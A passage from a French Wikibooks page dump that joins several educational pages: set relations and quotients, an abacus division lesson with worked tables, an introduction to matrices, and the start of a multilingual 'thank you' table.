de <math>G</math> alors si pour <math>a,b\in G</math>, on écrit <math>(aRb) \, \textrm{ssi}\, (b^{-1}a\in H)</math> alors <math>R</math> est une relation d'équivalence sur <math>G</math>. '''Définition''' Soit <math>E</math> un ensemble muni d'une relation d'équivalence <math>R</math>. Soit <math>x</math> dans <math>E</math>, on appelle ''classe d'équivalence ''de <math>x</math> selon <math>R</math> et on note <math>C_R(x)</math> (ou bien <math>C(x)</math> ou <math>\bar{x}</math> si il n'y a pas ambiguité sur la relation) l'ensemble de tous les éléments de <math>E</math> <math>R</math>-équivalent à <math>x</math>,i.e. <math>C_R(x)=\{y\in E; xRy\}</math>. On dit classe selon <math>R</math>, ou classe sous <math>R</math> ou classe modulo <math>R</math>. === Relation d'ordre === ------------------------------ '''Définition''' *Une <u>relation d'ordre</u> (ou un ordre) est une relation '''réflexive''', '''transitive''' et '''antisymétrique'''. *Si <math>R</math> est une relation d'ordre sur <math>E</math>, et si <math>x</math> et <math>y</math> sont des éléments de <math>E</math>, on dit que ''<math>x</math> et <math>y</math> sont comparables'' si <math>xRy</math> ou <math>yRx</math>. *Si <math>R</math> est une relation d'ordre sur <math>E</math>, on dit que <math>R</math> est une relation d'ordre complet si deux éléments quelconques de <math>E</math> sont comparables sous <math>R</math>. Sinon, on parle de relation d'ordre partiel. '''Exemples''' * L'ordre usuel <math>(\leq)</math> sur <math>\mathbb{N}</math>, sur <math>\mathbb{Z}</math>, sur <math>\mathbb{Q}</math> ou sur <math>\mathbb{R}</math> sont des relations d'ordre. ::*Démonstration (Sur <math>\mathbb{R}</math>): :::#Réflexive : <math>\forall x\in \mathbb{R}</math> on a <math>x \leq x</math> :::#Transitive : Soient <math>x,y,z\in \mathbb{R}</math> tels que <math>x \leq y</math> et <math>y \leq z</math> alors <math>x \leq z</math> :::#Antisymétrique : Soient <math>x,y\in \mathbb{R}</math> tels que <math>x \leq y</math> alors <math>-y \leq -x</math> * Si E est un ensemble, la relation <math>\subset</math> (inclusion) définie sur P(E) (l'ensemble des parties de E) est une relation d'ordre. ::*Démonstration : :::#Réflexive : Soit E un ensemble. On a <math>E \subset E</math> (on a bien <math>E \in P(E)</math>) :::#Transitive : Soient <math>A,B,C \subset E</math> tels que <math>A \subset B</math> et <math>B \subset C</math> alors <math>A \subset C</math> :::#Antisymétrique : Soient <math>A,B \subset E</math> tels que <math>A \subset B</math> alors <math>\overline{B} \subset \overline{A}</math> ::*Voir aussi : [[Algèbre:Théorie élémentaire des ensembles|Théorie des ensembles]] Algèbre Linéaire Niveau DEUG 148 11952 2005-06-19T22:15:02Z 80.217.34.224 /* Espaces vectoriels */ Algèbre Linéaire ==== [[Rappels d'algèbre linéaire]] ==== On étudie ici les notions de bases nécessaire à notre étude : Les espaces quotients, les groupes, les anneaux et les corps. ==== Espaces vectoriels ==== ==== Réduction des endomorphismes ==== ==== Espaces Affines ==== ==== Dualités ==== Rappels d'algèbre linéaire 149 11953 2004-07-25T10:08:41Z 81.51.145.144 créé par Benyto == Espace quotient == === Relations, relations d'équivalence === '''Définitions .''' Soit <math>E</math> un ensemble. Une relation sur <math>E</math> est une partie <math>R</math> de <math>E^2</math>. Si <math>(x,y)\in R</math>, on écrit <math>x R y</math>, et on dit que <math>x</math> et <math>y</math> sont en relation par <math>R</math>. Une relation est : *''réflexive'' si <math>\forall x \in E, xRx,</math> *''symétrique'' si <math>\forall x,y \in E, xRy\Rightarrow yRx,</math> *''transitive'' si <math>\forall x,y,z\in E, (xRy\, \textrm{et}\, yRz)\Rightarrow xRz.</math> *''antisymétrique'' si <math>\forall x,y\in E, (xRy\, \textrm{et}\, yRx)\Rightarrow x=y.</math> Une relation d'équivalence est une relation réflexive, transitive et symétrique. Une relation d'ordre est une relation réflexive, transitive et antisymétrique. '''Remarques''' Une relation d'équivalence généralise l'égalité qui est la relation d'équivalence la plus fine (pour toute relation d'équivalence <math>R</math> on a <math>x=y\Rightarrow xRy</math> par réflexivité). '''Exemples''' *Le parallélisme est une relation d'équivalence sur l'ensemble des droites du plan. *Si <math>H</math> est un sous groupe de <math>G</math> alors si pour <math>a,b\in G</math>, on écrit <math>aRb\, \textrm{ssi}\,b^{-1}a\in H</math> alors <math>R</math> est une relation d'équivalence sur <math>G</math>. *L'ordre usuel (<math>\leq</math>) sur <math>\mathbb{N}</math>, sur <math>\mathbb{Z}</math>, sur <math>\mathbb{Q}</math> ou sur <math>\mathbb{R}</math> sont des relations d'ordre. *Si <math>E</math> est un ensemble, la relation <math>\subset</math> définie sur <math>P(E)</math> (l'ensemble des parties de <math>E</math>) est une relation d'ordre. '''Définition''' Soit <math>E</math> un ensemble muni d'une relation d'équivalence <math>R</math>. Soit <math>x</math> dans <math>E</math>, on appelle ''classe d'équivalence ''de <math>x</math> selon <math>R</math> et on note <math>C_R(x)</math> (ou bien <math>C(x)</math> ou <math>\bar{x}</math> si il n'y a pas ambiguité sur la relation) l'ensemble de tous les éléments de <math>E</math> <math>R</math>-équivalent à <math>x</math>,i.e. <math>C_R(x)=\{y\in E; xRy\}</math>. On dit classe selon <math>R</math>, ou classe sous <math>R</math> ou classe modulo <math>R</math>. === Partitions === '''Définition.''' Soit <math>E</math> un ensemble. On appelle ''partition'' de <math>E</math> une famille <math>(E_i)_{i\in I}</math> de sous-ensembles non-vides de <math>E</math> telle que : :<math>E=\bigcup_{i\in I}E_i,</math> :<math>\forall (i,j)\in I\times I, i\neq j\Rightarrow E_i\cap E_j=\emptyset .</math> '''Exemples''' *L'ensemble des intervalles réels <math>[i,i+1[</math> pour <math>i\in \mathbb{N}</math> forme une partition de l'ensemble <math>\mathbb{R}^+</math> des réels positifs ou nuls. *Si <math>G</math> est un groupe et <math>H</math> est un sous-groupe de <math>G</math>, posons, pour <math>a \in G</math>, <math>aH = \{ah ; h\in H\}</math>. Alors la famille <math>(aH)_{a\in G}</math> est une partition de <math>G</math>. '''Propriétés''' Un premier résultat (facile a vérifier) est le suivant : Pour toute relation d'équivalence <math>R</math>, l'ensemble <math>\mathcal{C}_R(E)</math> de toutes les classes d'équivalences forme une partition de <math>E</math>. Réciproquement tout partition <math>(E_i)_{i\in I}</math> de <math>E</math> permet de définir une relation d'équivalence par <math>xRy\Leftrightarrow \exists i; x,y\in E_i</math>. '''Remarque''' Il en découle qu'une classe est totalement définie par n'importe lequel de ses éléments. On parle alors de ''représentant'' de la classe. L'ensemble <math>\mathcal{C}_R(E)</math> de toutes les classes d'équivalences est appelé ''quotient'' de <math>E</math> par <math>R</math>. Pour plus de commodité chaque élément de <math>\mathcal{C}_R(E)</math> est représenté par un de ses représentants. '''Exemple''' Si <math>G</math> est un groupe et <math>H</math> en est un sous-groupe, les classes pour la relation <math>aRb\, \mathrm\, b^{-1}a\in H</math> sont les <math>aH, a\in G</math>. === Quotients === '''Définition''' Soit <math>E</math> un ensemble et <math>R</math> une relation sur <math>E</math>. On définit le ''quotient de <math>E</math> par <math>R</math>'', que l'on note <math>E/R</math>, comme l'ensemble des classes modulo <math>R</math>. S'initier au boulier en 10 leçons - Leçon 7 151 11954 2004-07-31T21:08:04Z HB 15 modèle {{Boulier}} ''' Leçon 7 - La division''' <br/> <br/> En toute théorie, diviser un nombre par n consiste à ôter à ce nombre autant de fois n qu'il est possible. Le nombre de soustractions donne le quotient et le reste nous donne ... le reste. Par exemple, diviser 17 par 5 peut s'opérer de la manière suivante *17 - 5 = 12 (une fois) *12 - 5 = 7 (deux fois) *7 - 5 = 2 (trois fois) Dans la division de 17 par 5, le quotient est 3 et le reste est 2. Sur un boulier, on peut effectivement utiliser cette méthode quand le quotient reste petit (inférieur à 5). Mais celle-ci se révèle inefficace si le quotient est trop grand. Il faut alors utiliser des méthodes ressemblant à la pose d'une division. On aura besoin du tableau suivant fournissant pour un dividende (dd) donné et un diviseur (dv) donné, le quotient et le reste sous forme d'un couple (q ; r). Les valeurs qui figurent en rouge sont celles qui nécessitent de descendre d'une unité {| border="1" cellspacing="0" align="center" |- |align="center" |'''dd<sup>\dv</sup>''' |align="center" |'''2''' |align="center" |'''3''' |align="center" |'''4''' |align="center" |'''5''' |align="center" |'''6''' |align="center" |'''7''' |align="center" |'''8''' |align="center" |'''9''' |- |align="center" |'''1''' |align="center" |<font color="red">(5 ; 0)</font> |align="center" |<font color="red">(3 ; 1)</font> |align="center" |<font color="red">(2 ; 2)</font> |align="center" |<font color="red">(2 ; 0)</font> |align="center" |<font color="red">(1 ; 4)</font> |align="center" |<font color="red">(1 ; 3)</font> |align="center" |<font color="red">(1 ; 2)</font> |align="center" |<font color="red">(1 ; 1)</font> |- |align="center" |'''2''' |align="center" |(1 ; 0) |align="center" |<font color="red">(6 ; 2)</font> |align="center" |<font color="red">(5 ; 0)</font> |align="center" |<font color="red">(4 ; 0)</font> |align="center" |<font color="red">(3 ; 2)</font> |align="center" |<font color="red">(2 ; 6)</font> |align="center" |<font color="red">(2 ; 4)</font> |align="center" |<font color="red">(2 ; 2)</font> |- |align="center" |'''4''' |align="center" |(2 ; 0) |align="center" |(1 ; 1) |align="center" |(1 ; 0) |align="center" |<font color="red">(8 ; 0)</font> |align="center" |<font color="red">(6 ; 4)</font> |align="center" |<font color="red">(5 ; 5)</font> |align="center" |<font color="red">(5 ; 0)</font> |align="center" |<font color="red">(4 ; 4)</font> |- |align="center" |'''5''' |align="center" |(2 ; 1) |align="center" |(1 ; 2) |align="center" |(1 ; 1) |align="center" |(1 ; 0) |align="center" |<font color="red">(8 ; 2)</font> |align="center" |<font color="red">(7 ; 1)</font> |align="center" |<font color="red">(6 ; 2)</font> |align="center" |<font color="red">(5 ; 5)</font> |- |align="center" |'''6''' |align="center" |(3 ; 0) |align="center" |(2 ; 0) |align="center" |(1 ; 2) |align="center" |(1 ; 1) |align="center" |(1 ; 0) |align="center" |<font color="red">(8 ; 4)</font> |align="center" |<font color="red">(7 ; 4)</font> |align="center" |<font color="red">(6 ; 6)</font> |- |align="center" |'''7''' |align="center" |(3 ; 1) |align="center" |(2 ; 1) |align="center" |(1 ; 3) |align="center" |(1 ; 2) |align="center" |(1 ; 1) |align="center" |(1 ; 0) |align="center" |<font color="red">(8 ; 6)</font> |align="center" |<font color="red">(7 ; 7)</font> |- |align="center" |'''8''' |align="center" |(4 ; 0) |align="center" |(2 ; 2) |align="center" |(2 ; 0) |align="center" |(1 ; 3) |align="center" |(1 ; 2) |align="center" |(1 ; 1) |align="center" |(1 ; 0) |align="center" |<font color="red">(8 ; 8)</font> |- |align="center" |'''9''' |align="center" |(4 ; 1) |align="center" |(3 ; 0) |align="center" |(2 ; 1) |align="center" |(1 ; 4) |align="center" |(1 ; 3) |align="center" |(1 ; 2) |align="center" |(1 ; 1) |align="center" |(1 ; 0) |} : ''Exemple'': Dans la ligne 2 et la colonne trois, on lit le couple <font color="red">(6 ; 2)</font>. Cela signifie que, dans la division de 20 par 3, le quotient est 6 et le reste est 2. Les valeurs en noir se retrouvent facilement, il ne reste alors qu'à mémoriser un triangle de 36 couples. ==Division par un nombre à un chiffre== ===Avec le tableau=== La division, comme la multiplication, commence par le poids le plus fort. Si on cherche à diviser 9573 par 4, on commence par écrire à droite du boulier (ou sur une feuille de papier) le diviseur 4. On laisse une rangée vide puis on inscrit le dividende 9573. Le quotient s'écrira dans la partie gauche du boulier. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 9 | align="center" | 5 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb9.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Dans le tableau, 9/4 donne 2 avec pour reste 1. On écrit 2 à gauche et on remplace 9 par 1. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Dans le tableau, 1/4 donne <font color = "red">(2 ; 2)</font>. On '''change donc de rangée''' pour inscrire le quotient 2. On remplace alors 1 par 0 et on ajoute 2 à la rangée de droite. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 2 | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | 7 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb2.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Le poids fort est maintenant 7. Dans le tableau, 7/4 donne (1 ; 3). On ajoute donc 1 dans la rangée du quotient et on remplace 7 par 3. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | 3 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Dans le tableau, 3/4 donne <font color = "red">(7 ; 2)</font>.On '''change donc de rangée''' pour inscrire le quotient 7. On remplace alors 3 par 0 et on ajoute 2 à la rangée de droite. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | 7 | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 9 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" |[[Image:bouliernb7.png]] | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb9.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Le poids fort est maintenant 9. Dans le tableau, 9/4 donne (2 ; 1). On ajoute alors 2 dans le quotient dans la rangée du 7. On remplace 9 par 1. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | 9 | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 1 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" |[[Image:bouliernb9.png]] | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Dans le tableau, 1/4 donne <font color = "red">(2 ; 2)</font>. On '''change donc de rangée''' pour inscrire le quotient 2. On remplace alors 1 par 0 et on ajoute 2 à la rangée de droite. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | 9 | align="center" | 2 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | 5 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" |[[Image:bouliernb9.png]] | align="center" |[[Image:bouliernb2.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Le dernier nombre est 5. Dans le tableau, 5/4 donne (1 ; 1). On ajoute alors 1 dans le quotient dans la rangée du 2. On remplace 5 par 1 {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | 9 | align="center" | 3 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | 1 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" |[[Image:bouliernb9.png]] | align="center" |[[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} Dans la division de 9573 par 4, le quotient est 2393 et le reste est 1 ===Pour aller plus vite=== Si on connait bien la technique de division vue dans notre enfance, on peut réduire un peu les étapes: {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 9 | align="center" | 5 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb9.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} *9/4 donne (2 ; 1) {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | 1 | align="center" | 5 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb5.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * Puis 15/4 donne (3 ; 3) en '''changeant de colonne'''. {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | 3 | align="center" | 7 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb7.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * puis 37/4 donne (9 ; 1) en '''changeant de colonne''' {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | 9 | align="center" | ... | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 1 | align="center" | 3 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb9.png]] | align="center" | ... | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} * puis 13/4 donne (3 ; 1) '''en changeant de colonne''' {| cellspacing="0" cellpadding="0" align="center" |----- | align="center" | 2 | align="center" | 3 | align="center" | 9 | align="center" | 3 | align="center" | ... | align="center" | 0 | align="center" | 0 | align="center" | 0 | align="center" | 1 | align="center" | ... | align="center" | 4 |- | align="center" | [[Image:bouliernb2.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | [[Image:bouliernb9.png]] | align="center" | [[Image:bouliernb3.png]] | align="center" | ... | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb0.png]] | align="center" | [[Image:bouliernb1.png]] | align="center" | ... | align="center" | [[Image:bouliernb4.png]] |} Le quotient est toujours 2393 et le reste est toujours 1. ==Division par un nombre à plusieurs chiffres== C'est la technique la plus compliquée. Il s'agit d'ôter le maximum de fois le diviseur du dividende. On peut s'y reprendre à plusieurs fois pour déterminer le quotient tant que le quotient est déterminé par défaut. Il faut donc arrondir par excès le diviseur. Dans ce cas, le tableau établi précédemment n'est plus vraiment d'utilité Voir l'[[S'initier au boulier en 10 leçons - Leçon 7bis|exemple]] : Comment diviser 57 683 par 157 ==Pour les nombres à virgule== On peut rencontrer des virgules dans 3 types de situations *quand le dividende et le diviseur sont entiers et que l'on veut prolonger le calcul du quotient au delà de la virgule.(cas 1) *quand le diviseur est entier et que le dividende est à virgule.(cas 2) *quand le diviseur est à virgule. (cas3) ===Quotient à virgule=== Pour prolonger une division entière au delà de la virgule, il faut réserver, à droite du dividende, autant de colonnes que de chiffres après la virgule que l'on souhaite. On identifie alors la colonne des unités par un marqueur. Et on opère la division comme dans les entiers. A l'instant où l'on passe au delà de la colonne unité, il faut identifier la colonne unité dans le quotient par un marqueur. Voir l'[[S'initier au boulier en 10 leçons - Leçon 7(cas 1)|exemple]] : division de 358 par 7 avec 3 chiffres après la virgule. ===Dividende à virgule=== Si le dividende est à virgule, la technique est la même que précédemment. La difficulté consiste comme dans le cas précédent à bien identifier les colonnes unités dans le dividende et dans le quotient. On peut pour s'entrainer reprendre l'exemple de la division de 57 683 par 157 et effectuer la division de 576,83 par 157 pour repérer la colonne unité (le quotient doit être de 3,67) ===Diviseur à virgule=== On ne sait pas faire au boulier une division par un nombre non entier. Il faut effectuer la division par le nombre entier puis multiplier le nombre final par la puissance de 10 adéquate. ''Exemple'': Pour diviser 576,83 par 15,7, il faut diviser 576,83 par 157, puis multiplier le résultat par 10 car on a divisé par un nombre 10 fois trop grand. (le résultat est 36,7) Algèbre linéaire:Matrices 152 43591 2006-05-31T11:55:53Z 194.138.39.54 /* Matrice triangulaire supérieure */ Dans ce chapitre <math>\mathbb K</math> désigne un [[w:corps (mathématiques)|corps commutatif]]. == Généralités == ==Définitions== Soient ''n'' et ''p'' deux [[w:entier naturel|entiers naturels]] non nuls. Nous appelons [[w:matrice (mathématiques)|matrice]] à éléments dans <math>\mathbb K</math> de type (''n'', ''p'') toute application de <math>\{1, 2, \dots, n\} \times \{1, 2, \dots, p\}</math> dans <math>\mathbb K</math> (famille d'éléments de <math>\mathbb K</math> indexée par <math>\{1, 2, \dots, n\} \times \{1, 2, \dots, p\}</math>), c'est à dire un tableau rectangulaire à ''n'' lignes et ''p'' colonnes de la forme : :<math>\begin{pmatrix} a_{11} & a_{12} & \dots & \dots & a_{1p}\\ a_{21} & a_{22} & \dots & \dots & a_{2p}\\ \vdots & \vdots & \ddots & & \vdots\\ \vdots & \vdots & & \ddots & \vdots\\ a_{n1} & a_{n2} & \dots & \dots & a_{np} \end{pmatrix}</math> où <math>a_{11},a_{12},\ldots,a_{np}</math> de <math>\mathbb K</math> s'appellent les '''éléments ''' ou les '''coefficients''' de la matrice. Une telle matrice se note aussi <math>(a_{ij})_{1\leq i\leq n,1\leq j\leq p}</math> ou plus simplement <math>(a_{ij})</math>. L'ensemble des matrices de type (''n'',''p'') à éléments dans <math>\mathbb K</math>, se note <math>\mathcal M_{np}</math>. Quand ''n'' = ''p'', la matrice est dite '''carrée''' de dimension ''n''. Quand ''p'' = 1, la matrice ne comporte qu'une seule colonne de n éléments : <math>\begin{pmatrix} a_{1}\\ a_{2}\\ \vdots\\ a_{n} \end{pmatrix}</math> . On parle de vecteur. L'ensemble des matrices carrées de type (''n'',''n'') ou d'ordre ''n'', se note <math>\mathcal M_{n}(\mathbb K)</math>. Lorsque <math>\mathbb K=\mathbb R</math> la matrice est dite '''réelle'''. Lorsque <math>\mathbb K=\mathbb C</math> la matrice est dite '''complexe'''. Les éléments <math>a_{11}, a_{22}, \dots, a_{nn}</math> forment la '''diagonale principale''' de la matrice. ==Matrices particulières== ===Matrice diagonale=== Une matrice carrée <math>(a_{ij})</math> est dite '''diagonale''' si tous les éléments hors de la diagonale sont nuls, c'est à dire si :<math>\forall (i, j)\in\{1, ..., n\}^2, i\neq j\Rightarrow a_{ij}=0</math>. Une telle matrice se note <math>{\rm{diag}}(a_{11},a_{22},...,a_{nn})</math>. L'ensemble des matrices diagonales se note <math>\mathcal D_{n}(\mathbb K)</math>. ===Matrice triangulaire=== ====Matrice triangulaire inférieure==== Une matrice carrée <math>(a_{ij})</math> est dite '''triangulaire inférieure''' (ou '''trigonale inférieure''') si tous les éléments situés au-dessus de la diagonale principale sont nuls, c'est à dire si :<math>\forall (i, j)\in\{1, ..., n\}^2, i< j\Rightarrow a_{ij}=0</math> Si de plus, les éléments de la diagonale principale sont nuls la matrice est dite '''strictement triangulaire inférieure''' (ou '''strictement trigonale inférieure'''). <math>\begin{pmatrix} 1 & 0 & 0 \\ 2 & 3 & 0 \\ 4 & 5 & 6 \end{pmatrix}</math> Une matrice triangulaire inférieure <math>\begin{pmatrix} 0 & 0 & 0 \\ 2 & 0 & 0 \\ 4 & 5 & 0 \end{pmatrix}</math> Une matrice strictement triangulaire inférieure L'ensemble des matrices triangulaires inférieures se note <math>\mathcal T_{i}(\mathbb K)</math>. ====Matrice triangulaire supérieure==== De manière analogue, une matrice carrée <math>(a_{ij})</math> est dite '''triangulaire supérieure''' (ou '''trigonale supérieure''') si tous les éléments situés au-dessous de la diagonale principale sont nuls, c'est à dire si :<math>\forall (i, j)\in\{1, ..., n\}^2, i>j\Rightarrow a_{ij}=0</math> Si de plus, les éléments de la diagonale principale sont nuls la matrice est dite '''strictement triangulaire supérieure''' (ou '''strictement trigonale supérieure'''). <math>\begin{pmatrix} 1 & 2 & 3 \\ 0 & 4 & 5 \\ 0 & 0 & 6 \end{pmatrix}</math> Une matrice triangulaire supérieure <math>\begin{pmatrix} 0 & 2 & 3 \\ 0 & 0 & 5 \\ 0 & 0 & 0 \end{pmatrix}</math> Une matrice strictement triangulaire supérieure L'ensemble des matrices triangulaires supérieures se note <math>\mathcal T_{s}(\mathbb K)</math>. Le déterminant d'une matrice triangulaire a pour valeur le produits des termes de la diagonale principale. Pour le premier exemple : det = 1 x 4 x 6 = 24 ===Matrice diagonale=== Une matrice carrée est dite ''matrice diagonale'' lorsque <math>a_{ij}=0</math>, pour tout <math>i \ne j</math>, ce qui signifie que tous les éléments situés hors de la diagonale principale sont nuls. Si tous les éléments non nuls de la matrice diagonale sont égaux, la matrice est dite ''matrice scalaire''. <math>\begin{pmatrix} 1 & 0 & 0 \\ 0 & 2 & 0 \\ 0 & 0 & 3 \end{pmatrix}</math> Une matrice diagonale <math>\begin{pmatrix} 2 & 0 & 0 \\ 0 & 2 & 0 \\ 0 & 0 & 2 \end{pmatrix}</math> Une matrice scalaire ===Matrice identitée=== Une matrice identitée est une matrice scalaire où <math>a_{ii}=1</math>. Lorsqu'on multiplie une matrice par la matrice identitée on revient à la matrice de départ. <math>A_{n \times m} \bullet I = A_{n \times m}</math> ===Matrice symétrique et anti-symétrique=== Une matrice est dite symétrique si la transposée de la matrice A nous redonne la matrice A. <math>A^t=A</math>. Une matrice est dite anti-symétrique si la transposée de la matrice A nous redonne l'opposé de la matrice A. <math>A^t=-A</math> ==Addition de matrices== '''A''' + '''B''' = '''C''' où '''A''', '''B''' et '''C''' sont des matrices carrées (3,3). <math>\begin{pmatrix} a_{11} & a_{12} & a_{13}\\ a_{21} & a_{22} & a_{23}\\ a_{31} & a_{32} & a_{33} \end{pmatrix}</math> + <math>\begin{pmatrix} b_{11} & b_{12} & b_{13}\\ b_{21} & b_{22} & b_{23}\\ b_{31} & b_{32} & b_{33} \end{pmatrix}</math> = <math>\begin{pmatrix} a_{11} + b_{11} & a_{12} + b_{12} & a_{13} + b_{13}\\ a_{21} + b_{21} & a_{22} + b_{22} & a_{23} + b_{23}\\ a_{31} + b_{31} & a_{32} + b_{32} & a_{33} + b_{33} \end{pmatrix}</math> On additione les éléments de même position dans chaque matrice. On ne peut additionner que des matrices de même dimension. Pour deux matrices (''n'',''p''), l'addition matricielle se définit ainsi: <math>\forall(i,j)\in[1..n]\times[1..p] \quad c_{i,j}=a_{i,j}+b_{i,j}</math> ==Multiplication de matrices== ===Propriétés de la multiplication des matrices=== <math>\begin{pmatrix} a & b\\c & d\end{pmatrix} \times \begin{pmatrix} e & f\\g & h\end{pmatrix} = \begin{pmatrix} ae + bg & af + bh\\ce + dg & cf + dh\end{pmatrix}</math> On ne peut multiplier deux matrices entre elles que si le nombre de colonnes de celle de gauche est égale au nombre de lignes de celle de droite. D'autre part, le produit de deux matrices n'est pas commutatif : <math>A \times B \ne B \times A</math> Pour des matrices <math>A\in\mathcal{M}_{np} (\mathcal{K})\ et\ B\in\mathcal{M}_{pq} (\mathcal{K}) \quad A\times B=C \ avec \ C\in\mathcal{M}_{(n,q)}</math> , la multiplication matricielle se définit ainsi: <math>\forall(i,j)\in[1..n]\times[1..q] \quad c_{ij}=\sum_{k=1}^p a_{ik}.b_{kj}</math> Dire merci dans le monde 153 44540 2006-06-14T17:06:34Z 88.111.132.7 ajout du gallois Tableau présentant au travers du vocabulaire de la salutation un échantillon des langues et des écritures du monde. Voir aussi : [[Dire bonjour dans le monde]], [[w:Nombres dans le monde]], [[Dire miaou dans le monde]] {| border="0" cellpadding="4" cellspacing="0" style="border-width: 1px; border-color: #dddddd; border-style: solid" |- bgcolor="#ddffdd" ! Langue !! Merci !! Merci beaucoup |- 